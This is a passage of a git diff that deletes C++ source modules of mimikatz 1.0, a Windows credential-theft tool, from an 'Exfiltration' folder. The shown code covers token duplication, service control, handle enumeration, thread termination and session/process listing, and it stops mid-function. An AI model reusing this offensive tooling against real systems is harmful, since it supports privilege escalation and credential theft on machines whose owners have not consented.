/*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0) - { - CloseHandle(*tokenHandle); - *tokenHandle = secToken; - } - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h deleted file mode 100644 index 5e8aa04..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h +++ /dev/null @@ -1,24 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -using namespace std; - -class mod_secacl -{ -public: - static bool simpleSidToString(PSID Sid, wstring * String); - static bool sidToStrSid(PSID Sid, wstring * strSid); - static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT); - static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); - static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); - - static bool exchangeDupToken(HANDLE * tokenHandle); - static bool addWorldToMimikatz(SC_HANDLE * monHandle); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp deleted file mode 100644 index c234481..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp +++ /dev/null @@ -1,142 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_service.h" - -bool mod_service::getList(vector * monVectorService, wstring * machineName) // machine non implémenté -{ - bool reussite = false; - DWORD error = ERROR_SUCCESS; - - if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE)) - { - DWORD tailleRequise = 0; - DWORD nbServices = 0; - DWORD resumeHandle = 0; - - if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA) - { - BYTE * servicesBuff = new BYTE[tailleRequise]; - ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast(servicesBuff); - if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) - { - for(DWORD i = 0; i < nbServices; i++) - { - KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess}; - monVectorService->push_back(monService); - } - } - delete[] servicesBuff; - error = GetLastError(); - } - - CloseServiceHandle(monManager); - SetLastError(error); - } - return reussite; -} - - -bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implémenté -{ - bool reussite = false; - - vector * vectorServices = new vector(); - if(getList(vectorServices, machineName)) - { - for(vector::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++) - { - if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0)) - { - *monService = *monSvc; - break; - } - } - } - delete vectorServices; - - return reussite; -} - -bool mod_service::start(wstring * serviceName, wstring * machineName) -{ - bool reussite = false; - DWORD error = ERROR_SUCCESS; - if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) - { - if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START)) - { - if(!(reussite = StartService(monService, 0, NULL) != 0)) - error = GetLastError(); - CloseServiceHandle(monService); - } - else - error = GetLastError(); - CloseServiceHandle(monManager); - SetLastError(error); - } - - return reussite; -} - -bool mod_service::remove(wstring * serviceName, wstring * machineName) -{ - bool reussite = false; - DWORD error = ERROR_SUCCESS; - if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) - { - if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE)) - { - if(!(reussite = DeleteService(monService) != 0)) - error = GetLastError(); - CloseServiceHandle(monService); - } - else - error = GetLastError(); - CloseServiceHandle(monManager); - SetLastError(error); - } - return reussite; -} - -bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName) -{ - bool reussite = false; - DWORD error = ERROR_SUCCESS; - if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) - { - if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess)) - { - if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0)) - error = GetLastError(); - CloseServiceHandle(monService); - } - else - error = GetLastError(); - CloseServiceHandle(monManager); - SetLastError(error); - } - return reussite; -} - - -bool mod_service::stop(wstring * serviceName, wstring * machineName) -{ - SERVICE_STATUS serviceStatus; - return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName)); -} - -bool mod_service::suspend(wstring * serviceName, wstring * machineName) -{ - SERVICE_STATUS serviceStatus; - return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName)); -} - -bool mod_service::resume(wstring * serviceName, wstring * machineName) -{ - SERVICE_STATUS serviceStatus; - return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName)); -} - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.h b/Exfiltration/mimikatz-1.0/modules/mod_service.h deleted file mode 100644 index b438454..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_service.h +++ /dev/null @@ -1,38 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_secacl.h" - -class mod_service -{ -private: - static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL); - -public: - typedef struct _KIWI_SERVICE_STATUS_PROCESS - { - wstring serviceName; - wstring serviceDisplayName; - SERVICE_STATUS_PROCESS ServiceStatusProcess; - } KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS; - - static bool getList(vector * monVectorService, wstring * machineName = NULL); - static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL); - - static bool start(wstring * serviceName, wstring * machineName = NULL); - static bool suspend(wstring * serviceName, wstring * machineName = NULL); - static bool resume(wstring * serviceName, wstring * machineName = NULL); - static bool stop(wstring * serviceName, wstring * machineName = NULL); - - static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ? - - static bool add(wstring * binPath, vector * arguments); // bla bla - static bool remove(wstring * serviceName, wstring * machineName = NULL); - static bool control(vector * arguments); - -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp deleted file mode 100644 index 7a79a76..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp +++ /dev/null @@ -1,208 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_system.h" - -OSVERSIONINFOEX mod_system::GLOB_Version; - -wstring mod_system::getWinError(bool automatique, DWORD code) -{ - bool reussite = false; - DWORD dwError = (automatique ? GetLastError() : code); - wostringstream resultat; - wchar_t * monBuffer = NULL; - - resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')'; - if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast(&monBuffer), 0, NULL) != 0)) - reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast(&monBuffer), 0, NULL) != 0; - - if(reussite) - { - resultat << L' ' << monBuffer; - LocalFree(monBuffer); - } - else resultat << L" * Impossible d\'obtenir un message *"; - - return resultat.str(); -} - -bool mod_system::getUserName(wstring * monUserName) -{ - bool reussite = false; - unsigned long tailleRequise = 0; - - if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) - { - wchar_t * monBuffer = new wchar_t[tailleRequise]; - if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0)) - { - monUserName->assign(monBuffer); - } - delete[] monBuffer; - } - return reussite; -} - -bool mod_system::getComputerName(wstring * monComputerName) -{ - bool reussite = false; - DWORD tailleRequise = 0; - - if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) - { - wchar_t * monBuffer = new wchar_t[tailleRequise]; - if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0)) - { - monComputerName->assign(monBuffer); - } - delete[] monBuffer; - } - return reussite; -} - -bool mod_system::getVersion(OSVERSIONINFOEX * maVersion) -{ - RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX)); - maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); - return (GetVersionEx(reinterpret_cast(maVersion)) != 0); -} - -bool mod_system::getCurrentDirectory(wstring * monRepertoire) -{ - bool reussite = false; - DWORD tailleRequise = GetCurrentDirectory(0, NULL); - wchar_t * monBuffer = new wchar_t[tailleRequise]; - if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1) - { - monRepertoire->assign(monBuffer); - reussite = true; - } - delete monBuffer; - return reussite; -} - -bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse) -{ - bool reussite = false; - wchar_t monBuffer[MAX_PATH]; - - if(PathIsRelative(thisData.c_str())) - { - wstring monRep = L""; - if(reussite = getCurrentDirectory(&monRep)) - { - PathCombine(monBuffer, monRep.c_str(), thisData.c_str()); - reponse->assign(monBuffer); - } - } - else - { - if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0)) - { - reponse->assign(monBuffer); - } - } - return reussite; -} - -bool mod_system::isFileExist(std::wstring &fichier, bool *resultat) -{ - bool reussite = false; - HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - - if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE)) - { - CloseHandle(monFichier); - *resultat = true; - } - else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND)) - { - *resultat = false; - } - return reussite; -} - -bool mod_system::getSystemHandles(vector * mesHandles, DWORD * pid) -{ - bool reussite = false; - - if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) - { - DWORD size = 0x10000; - BYTE * monBuffer = new BYTE[size]; - ULONG sizeReturn = 0; - NTSTATUS status; - - while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH) - { - delete[] monBuffer; - size <<= 1; - monBuffer = new BYTE[size]; - } - - if(reussite = NT_SUCCESS(status)) - { - PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast(monBuffer); - for(DWORD i = 0; i < mesInfos->HandleCount; i++) - { - if(!pid || *pid == mesInfos->Handles[i].ProcessId) - mesHandles->push_back(mesInfos->Handles[i]); - } - } - - delete[] monBuffer; - } - - return reussite; -} - -bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo) -{ - bool reussite = false; - - if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject"))) - { - DWORD tailleRequise = 0; - - if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH) - { - *buffer = new BYTE[tailleRequise]; - if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise)))) - { - delete[] buffer; - } - } - } - - return reussite; -} - -bool mod_system::getHandleType(HANDLE monHandle, wstring * strType) -{ - bool reussite = false; - - BYTE * monBuffer = NULL; - if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation)) - { - POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast(monBuffer); - strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t)); - delete[] monBuffer; - } - return reussite; -} - -bool mod_system::getHandleName(HANDLE monHandle, wstring * strName) -{ - bool reussite = false; - - BYTE * monBuffer = NULL; - if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation)) - { - PUNICODE_STRING typeName = reinterpret_cast(monBuffer); - strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t)); - delete[] monBuffer; - } - return reussite; -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.h b/Exfiltration/mimikatz-1.0/modules/mod_system.h deleted file mode 100644 index 7f41190..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_system.h +++ /dev/null @@ -1,34 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_ntddk.h" -#include -#include -#include -#include - -class mod_system -{ -private: - static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo); - -public: - static wstring getWinError(bool automatique = true, DWORD code = 0); - - static bool getUserName(wstring * monUserName); - static bool getComputerName(wstring *monComputerName); - static bool getVersion(OSVERSIONINFOEX * maVersion); - - static bool isFileExist(std::wstring &fichier, bool *resultat); - static bool getCurrentDirectory(wstring * monRepertoire); - static bool getAbsolutePathOf(wstring &thisData, wstring *reponse); - static bool getSystemHandles(vector * mesHandles, DWORD * pid = NULL); // type ?? - static bool getHandleType(HANDLE monHandle, wstring * strType); - static bool getHandleName(HANDLE monHandle, wstring * strName); - - static OSVERSIONINFOEX GLOB_Version; -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp deleted file mode 100644 index 98de950..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp +++ /dev/null @@ -1,101 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_text.h" - -PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString")); -PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); - -wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur) -{ - wostringstream monStream; - for(DWORD j = 0; j < maTaille; j++) - { - monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j]; - if(longueur != 0) - { - monStream << L' '; - if ((j + 1) % longueur == 0) - monStream << endl; - } - } - return monStream.str(); -} - -wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne) -{ - wstring result; - if(monTab && maTaille > 0) - { - int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/; - if(IsTextUnicode(monTab, maTaille, &flags)) - { - result.assign(reinterpret_cast(monTab), maTaille / sizeof(wchar_t)); - } - else - { - if(ligne) - result.assign(L"\n"); - result.append(stringOfHex(monTab, maTaille, longueur)); - } - } - else result.assign(L""); - - return result; -} - -void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[]) -{ - wstringstream z; - unsigned int temp; - for(size_t i = 0; i < maChaine.size() / 2; i++) - { - z.clear(); - z << maChaine.substr(i * 2, 2); z >> hex >> temp; - monTab[i] = temp; - } -} - -bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix) -{ - if(str && suffix) - { - size_t str_len = wcslen(str), suffix_len = wcslen(suffix); - return wstr_ends_with(str, str_len, suffix, suffix_len); - } - return false; -} - -bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len) -{ - if(str && suffix && (suffix_len <= str_len)) - return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0); - return false; -} - -wstring mod_text::stringOfSTRING(UNICODE_STRING maString) -{ - return wstring(maString.Buffer, maString.Length / sizeof(wchar_t)); -} -string mod_text::stringOfSTRING(STRING maString) -{ - return string(maString.Buffer, maString.Length); -} - -void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]) -{ - RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t)); - RtlInitUnicodeString(LsaString, monBuffer); -} - -LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart) -{ - LUID monLUID = {0, 0}; - wstringstream z; - z << highPart; z >> monLUID.HighPart; - z.clear(); - z << lowPart; z >> monLUID.LowPart; - return monLUID; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.h b/Exfiltration/mimikatz-1.0/modules/mod_text.h deleted file mode 100644 index aeadd95..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_text.h +++ /dev/null @@ -1,31 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -using namespace std; - -class mod_text -{ -public: - static PRTL_INIT_STRING RtlInitString; - static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; - - static wstring stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 0); - static wstring stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 32, bool ligne = true); - static void wstringHexToByte(wstring &maChaine, BYTE monTab[]); - - static wstring stringOfSTRING(UNICODE_STRING maString); - static string stringOfSTRING(STRING maString); - - static bool wstr_ends_with(const wchar_t * str, const wchar_t * suffix); - static bool wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len); - - static void InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]); - static LUID wstringsToLUID(wstring &highPart, wstring &lowPart); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp deleted file mode 100644 index d57b4f4..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp +++ /dev/null @@ -1,77 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_thread.h" - -bool mod_thread::getList(vector * monVecteurThreads, DWORD * processId) -{ - bool reussite = false; - - HANDLE hThreadsSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); - if(hThreadsSnapshot != INVALID_HANDLE_VALUE) - { - THREADENTRY32 monThread; - monThread.dwSize = sizeof(THREADENTRY32); - - if(reussite = (Thread32First(hThreadsSnapshot, &monThread) != 0)) - { - do - { - if(!processId || (*processId == monThread.th32OwnerProcessID)) - monVecteurThreads->push_back(monThread); - } while(Thread32Next(hThreadsSnapshot, &monThread)); - } - CloseHandle(hThreadsSnapshot); - } - - return reussite; -} - -bool mod_thread::suspend(DWORD & threadId) -{ - bool reussite = false; - - HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - SuspendThread(monHandle); - CloseHandle(monHandle); - } - - return reussite; -} - -bool mod_thread::resume(DWORD & threadId) -{ - bool reussite = false; - - HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - ResumeThread(monHandle); - CloseHandle(monHandle); - } - - return reussite; -} - -bool mod_thread::stop(DWORD & threadId, DWORD exitCode) -{ - bool reussite = false; - - HANDLE monHandle = OpenThread(THREAD_TERMINATE, false, threadId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - TerminateThread(monHandle, exitCode); - CloseHandle(monHandle); - } - - return reussite; -} - -bool mod_thread::quit(DWORD & threadId) -{ - return PostThreadMessage(threadId, WM_QUIT, NULL, NULL) != 0; -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.h b/Exfiltration/mimikatz-1.0/modules/mod_thread.h deleted file mode 100644 index a2f62f9..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_thread.h +++ /dev/null @@ -1,19 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include - -class mod_thread -{ -public: - static bool getList(vector * monVecteurThreads, DWORD * processId = NULL); - - static bool suspend(DWORD & threadId); - static bool resume(DWORD & threadId); - static bool stop(DWORD & threadId, DWORD exitCode = 0); - static bool quit(DWORD & threadId); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp deleted file mode 100644 index 97c5fb0..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp +++ /dev/null @@ -1,106 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_ts.h" - -bool mod_ts::openServer(HANDLE * phServer, wstring * server, bool testIt) -{ - bool reussite = false; - - if(reussite = !server) - { - *phServer = WTS_CURRENT_SERVER_HANDLE; - } - else - { - wchar_t * serverName = _wcsdup(server->c_str()); - *phServer = WTSOpenServer(serverName); - delete[] serverName; - reussite = *phServer != NULL; - } - return reussite; -} - -bool mod_ts::closeServer(HANDLE hServer) -{ - if(hServer != WTS_CURRENT_SERVER_HANDLE) - WTSCloseServer(hServer); - - return true; -} - -bool mod_ts::getSessions(vector * mesSessions, wstring * server) -{ - bool reussite = false; - - PWTS_SESSION_INFO tabSessions; - DWORD nbSessions = 0; - HANDLE hServer = NULL; - - if(openServer(&hServer, server)) - { - if(reussite = WTSEnumerateSessions(hServer, 0, 1, &tabSessions, &nbSessions) != 0) - { - for(DWORD i = 0; i < nbSessions; i++) - { - KIWI_WTS_SESSION_INFO a = {tabSessions[i].SessionId, tabSessions[i].State, tabSessions[i].pWinStationName}; - mesSessions->push_back(a); - } - WTSFreeMemory(tabSessions); - } - closeServer(hServer); - } - - return reussite; -} - -bool mod_ts::getProcesses(vector * mesProcesses, wstring * server) -{ - bool reussite = false; - - PWTS_PROCESS_INFO tabProcess; - DWORD nbProcess = 0; - HANDLE hServer = NULL; - - if(openServer(&hServer, server)) - { - if(reussite = WTSEnumerateProcesses(hServer, 0, 1, &tabProcess, &nbProcess) != 0) - { - for(DWORD i = 0; i < nbProcess; i++) - { - KIWI_WTS_PROCESS_INFO a = { - tabProcess[i].SessionId, - tabProcess[i].ProcessId, - tabProcess[i].pProcessName - }; - - wstring user; - wstring domain; - if(mod_secacl::sidToName(tabProcess[i].pUserSid, &user, &domain, server)) - { - a.userSid.assign(domain); - a.userSid.push_back(L'\\'); - a.userSid.append(user); - } - else if(!mod_secacl::sidToStrSid(tabProcess[i].pUserSid, &a.userSid)) - { - if(tabProcess[i].pUserSid) - { - a.userSid.assign(L"erreur SID ; "); - a.userSid.append(mod_system::getWinError()); - } - else - a.userSid.assign(L"n.a."); - } - - mesProcesses->push_back(a); - } - WTSFreeMemory(tabProcess); - } - closeServer(hServer); - } - - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.h b/Exfiltration/mimikatz-1.0/modules/mod_ts.h deleted file mode 100644 index 6815bb8..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_ts.h +++ /dev/null @@ -1,35 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_secacl.h" -#include "mod_system.h" -#include - -class mod_ts -{ -private: - static bool openServer(HANDLE * phServer, wstring * server = NULL, bool testIt = true); - static bool closeServer(HANDLE hServer); - -public: - typedef struct _KIWI_WTS_SESSION_INFO { - DWORD id; - DWORD state; - wstring sessionName; - } KIWI_WTS_SESSION_INFO, * PKIWI_WTS_SESSION_INFO; - - typedef struct _KIWI_WTS_PROCESS_INFO { - DWORD sessionId; - DWORD pid; - wstring processName; - wstring userSid; - } KIWI_WTS_PROCESS_INFO, * PKIWI_WTS_PROCESS_INFO; - - static bool getSessions(vector * mesSessions, wstring * server = NULL); - static bool getProcesses(vector * mesProcesses, wstring * server = NULL); -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp deleted file mode 100644 index a54c5b7..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp +++ /dev/null @@ -1,26 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_windows.h" - -BOOL WINAPI mod_windows::enumHWNDCallback(HWND hwnd, pair *> * mesHWNDS) -{ - DWORD processId = 0; - if(DWORD threadId = GetWindowThreadProcessId(hwnd, &processId)) - { - if((mesHWNDS->first == 0) || (processId == mesHWNDS->first)) - { - KIWI_HWND_ENTRY monEntree = {hwnd, processId, threadId}; - mesHWNDS->second->push_back(monEntree); - } - } - return TRUE; -} - - -bool mod_windows::getHWNDsFromProcessId(vector * mesHWNDS, DWORD processId) -{ - return (EnumWindows(reinterpret_cast(enumHWNDCallback), reinterpret_cast(&make_pair *>(processId, mesHWNDS))) != FALSE); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.h b/Exfiltration/mimikatz-1.0/modules/mod_windows.h deleted file mode 100644 index c5f9887..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_windows.h +++ /dev/null @@ -1,22 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" - -class mod_windows -{ -public: - typedef struct _KIWI_HWND_ENTRY - { - HWND monHandle; - DWORD pid; - DWORD threadId; - } KIWI_HWND_ENTRY, *PKIWI_HWND_ENTRY; - - static bool getHWNDsFromProcessId(vector * mesHWNDS, DWORD processId = 0); -private: - static BOOL WINAPI enumHWNDCallback(HWND hwnd, pair *> * mesHWNDS); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp deleted file mode 100644 index 57b209e..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp +++ /dev/null @@ -1,29 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_winsta_desktop.h" - -BOOL CALLBACK mod_winsta_desktop::EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam) -{ - reinterpret_cast *>(lParam)->push_back(reinterpret_cast(lpszWindowStation)); - return TRUE; -} - -BOOL CALLBACK mod_winsta_desktop::EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam) -{ - reinterpret_cast *>(lParam)->push_back(reinterpret_cast(lpszDesktop)); - return TRUE; -} - - -bool mod_winsta_desktop::getWinstas(vector * mesWinstas) -{ - return 